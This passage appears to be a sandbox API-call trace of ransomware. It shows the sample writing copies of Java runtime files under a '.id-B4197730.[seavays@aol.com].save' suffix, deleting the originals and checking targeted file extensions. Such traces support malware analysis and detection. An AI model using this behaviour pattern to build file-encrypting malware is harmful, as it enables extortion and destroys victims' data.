dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0076.837] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=206912) returned 1 [0076.837] CloseHandle (hObject=0x2e8) returned 1 [0076.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 0x20 [0076.837] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0076.837] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0076.837] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.837] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.837] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0076.838] GetLastError () returned 0x0 [0076.838] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x32840, lpOverlapped=0x0) returned 1 [0076.843] WriteFile (in: hFile=0x370, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x32850, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x32850, lpOverlapped=0x0) returned 1 [0076.847] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.847] WriteFile (in: hFile=0x370, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe4, lpOverlapped=0x0) returned 1 [0076.847] SetEndOfFile (hFile=0x370) returned 1 [0076.847] CloseHandle (hObject=0x370) returned 1 [0076.847] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.847] SetEndOfFile (hFile=0x2e8) returned 1 [0076.849] CloseHandle (hObject=0x2e8) returned 1 [0076.849] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0076.850] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\java.exe")) returned 1 [0076.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.850] lstrlenW (lpString=".doc") returned 4 [0076.850] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.850] lstrlenW (lpString=".docx") returned 5 [0076.850] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0076.850] lstrlenW (lpString=".pdf") returned 4 [0076.850] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.850] lstrlenW (lpString=".xls") returned 4 [0076.850] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.850] lstrlenW (lpString=".xlsx") returned 5 [0076.850] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0076.850] lstrlenW (lpString=".ppt") returned 4 [0076.850] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.850] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.850] lstrlenW (lpString=".zip") returned 4 [0076.850] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.851] lstrlenW (lpString=".rar") returned 4 [0076.851] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.851] lstrlenW (lpString=".bz2") returned 4 [0076.851] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.851] lstrlenW (lpString=".7z") returned 3 [0076.851] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.851] lstrlenW (lpString=".dbf") returned 4 [0076.851] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.851] lstrlenW (lpString=".1cd") returned 4 [0076.851] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.851] lstrlenW (lpString=".jpg") returned 4 [0076.851] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.851] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.851] lstrlenW (lpString=".doc") returned 4 [0076.851] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0076.851] lstrlenW (lpString=".docx") returned 5 [0076.851] lstrcmpiW (lpString1=".docx", lpString2="a.exe") returned -1 [0076.851] lstrlenW (lpString=".pdf") returned 4 [0076.851] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0076.851] lstrlenW (lpString=".xls") returned 4 [0076.851] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0076.851] lstrlenW (lpString=".xlsx") returned 5 [0076.852] lstrcmpiW (lpString1=".xlsx", lpString2="a.exe") returned -1 [0076.852] lstrlenW (lpString=".ppt") returned 4 [0076.852] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0076.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.852] lstrlenW (lpString=".zip") returned 4 [0076.852] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0076.852] lstrlenW (lpString=".rar") returned 4 [0076.852] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0076.852] lstrlenW (lpString=".bz2") returned 4 [0076.852] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0076.852] lstrlenW (lpString=".7z") returned 3 [0076.852] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0076.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.852] lstrlenW (lpString=".dbf") returned 4 [0076.852] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0076.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.852] lstrlenW (lpString=".1cd") returned 4 [0076.852] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0076.852] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\java.exe") returned 47 [0076.852] lstrlenW (lpString=".jpg") returned 4 [0076.852] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0076.852] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0076.852] lstrlenW (lpString="JavaAccessBridge-64.dll") returned 23 [0076.852] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0076.853] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=142400) returned 1 [0076.853] CloseHandle (hObject=0x2e8) returned 1 [0076.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 0x20 [0076.853] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0076.853] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0076.853] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.853] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.853] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0076.854] GetLastError () returned 0x0 [0076.854] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x22c40, lpOverlapped=0x0) returned 1 [0077.008] WriteFile (in: hFile=0x370, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x22c50, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x22c50, lpOverlapped=0x0) returned 1 [0077.011] ReadFile (in: hFile=0x2e8, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.012] WriteFile (in: hFile=0x370, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x102, lpOverlapped=0x0) returned 1 [0077.012] SetEndOfFile (hFile=0x370) returned 1 [0077.012] CloseHandle (hObject=0x370) returned 1 [0077.012] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.012] SetEndOfFile (hFile=0x2e8) returned 1 [0077.015] CloseHandle (hObject=0x2e8) returned 1 [0077.015] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0077.015] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\javaaccessbridge-64.dll")) returned 1 [0077.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.453] lstrlenW (lpString=".doc") returned 4 [0077.453] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.453] lstrlenW (lpString=".docx") returned 5 [0077.453] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0077.453] lstrlenW (lpString=".pdf") returned 4 [0077.453] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.453] lstrlenW (lpString=".xls") returned 4 [0077.453] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.453] lstrlenW (lpString=".xlsx") returned 5 [0077.453] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0077.453] lstrlenW (lpString=".ppt") returned 4 [0077.453] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.453] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.453] lstrlenW (lpString=".zip") returned 4 [0077.453] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.454] lstrlenW (lpString=".rar") returned 4 [0077.454] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.454] lstrlenW (lpString=".bz2") returned 4 [0077.454] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.454] lstrlenW (lpString=".7z") returned 3 [0077.454] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.454] lstrlenW (lpString=".dbf") returned 4 [0077.454] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.454] lstrlenW (lpString=".1cd") returned 4 [0077.454] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.454] lstrlenW (lpString=".jpg") returned 4 [0077.454] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.454] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.454] lstrlenW (lpString=".doc") returned 4 [0077.454] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.454] lstrlenW (lpString=".docx") returned 5 [0077.454] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0077.454] lstrlenW (lpString=".pdf") returned 4 [0077.454] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.454] lstrlenW (lpString=".xls") returned 4 [0077.454] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.454] lstrlenW (lpString=".xlsx") returned 5 [0077.455] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0077.455] lstrlenW (lpString=".ppt") returned 4 [0077.455] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.455] lstrlenW (lpString=".zip") returned 4 [0077.455] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.455] lstrlenW (lpString=".rar") returned 4 [0077.455] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.455] lstrlenW (lpString=".bz2") returned 4 [0077.455] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.455] lstrlenW (lpString=".7z") returned 3 [0077.455] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.455] lstrlenW (lpString=".dbf") returned 4 [0077.455] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.455] lstrlenW (lpString=".1cd") returned 4 [0077.455] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.455] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\JavaAccessBridge-64.dll") returned 62 [0077.455] lstrlenW (lpString=".jpg") returned 4 [0077.455] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.456] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0077.456] lstrlenW (lpString="jfr.dll") returned 7 [0077.456] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0077.941] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=26688) returned 1 [0077.941] CloseHandle (hObject=0x30c) returned 1 [0077.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 0x20 [0077.941] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0077.941] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0077.942] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.942] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.942] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0077.942] GetLastError () returned 0x0 [0077.942] ReadFile (in: hFile=0x30c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x6840, lpOverlapped=0x0) returned 1 [0077.945] WriteFile (in: hFile=0x2e8, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x6850, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x6850, lpOverlapped=0x0) returned 1 [0077.946] ReadFile (in: hFile=0x30c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.947] WriteFile (in: hFile=0x2e8, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe2, lpOverlapped=0x0) returned 1 [0077.947] SetEndOfFile (hFile=0x2e8) returned 1 [0077.947] CloseHandle (hObject=0x2e8) returned 1 [0077.947] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.947] SetEndOfFile (hFile=0x30c) returned 1 [0077.948] CloseHandle (hObject=0x30c) returned 1 [0077.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0077.948] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfr.dll")) returned 1 [0077.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.949] lstrlenW (lpString=".doc") returned 4 [0077.949] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.949] lstrlenW (lpString=".docx") returned 5 [0077.949] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0077.949] lstrlenW (lpString=".pdf") returned 4 [0077.949] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.949] lstrlenW (lpString=".xls") returned 4 [0077.949] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.949] lstrlenW (lpString=".xlsx") returned 5 [0077.949] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0077.949] lstrlenW (lpString=".ppt") returned 4 [0077.949] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.949] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.949] lstrlenW (lpString=".zip") returned 4 [0077.949] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.949] lstrlenW (lpString=".rar") returned 4 [0077.949] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.949] lstrlenW (lpString=".bz2") returned 4 [0077.949] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.950] lstrlenW (lpString=".7z") returned 3 [0077.950] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.950] lstrlenW (lpString=".dbf") returned 4 [0077.950] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.950] lstrlenW (lpString=".1cd") returned 4 [0077.950] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.950] lstrlenW (lpString=".jpg") returned 4 [0077.950] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.950] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.950] lstrlenW (lpString=".doc") returned 4 [0077.950] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0077.950] lstrlenW (lpString=".docx") returned 5 [0077.950] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0077.950] lstrlenW (lpString=".pdf") returned 4 [0077.950] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0077.950] lstrlenW (lpString=".xls") returned 4 [0077.950] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0077.950] lstrlenW (lpString=".xlsx") returned 5 [0077.951] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0077.951] lstrlenW (lpString=".ppt") returned 4 [0077.951] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0077.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.951] lstrlenW (lpString=".zip") returned 4 [0077.951] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0077.951] lstrlenW (lpString=".rar") returned 4 [0077.951] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0077.951] lstrlenW (lpString=".bz2") returned 4 [0077.951] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0077.951] lstrlenW (lpString=".7z") returned 3 [0077.951] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0077.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.951] lstrlenW (lpString=".dbf") returned 4 [0077.951] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0077.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.951] lstrlenW (lpString=".1cd") returned 4 [0077.951] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0077.951] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfr.dll") returned 46 [0077.951] lstrlenW (lpString=".jpg") returned 4 [0077.951] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0077.952] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.952] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.952] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0077.953] GetLastError () returned 0x0 [0077.953] ReadFile (in: hFile=0x30c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x48440, lpOverlapped=0x0) returned 1 [0077.962] WriteFile (in: hFile=0x2e8, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x48450, lpOverlapped=0x0) returned 1 [0077.970] ReadFile (in: hFile=0x30c, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.970] WriteFile (in: hFile=0x2e8, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1 [0077.970] SetEndOfFile (hFile=0x2e8) returned 1 [0077.970] CloseHandle (hObject=0x2e8) returned 1 [0077.970] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, 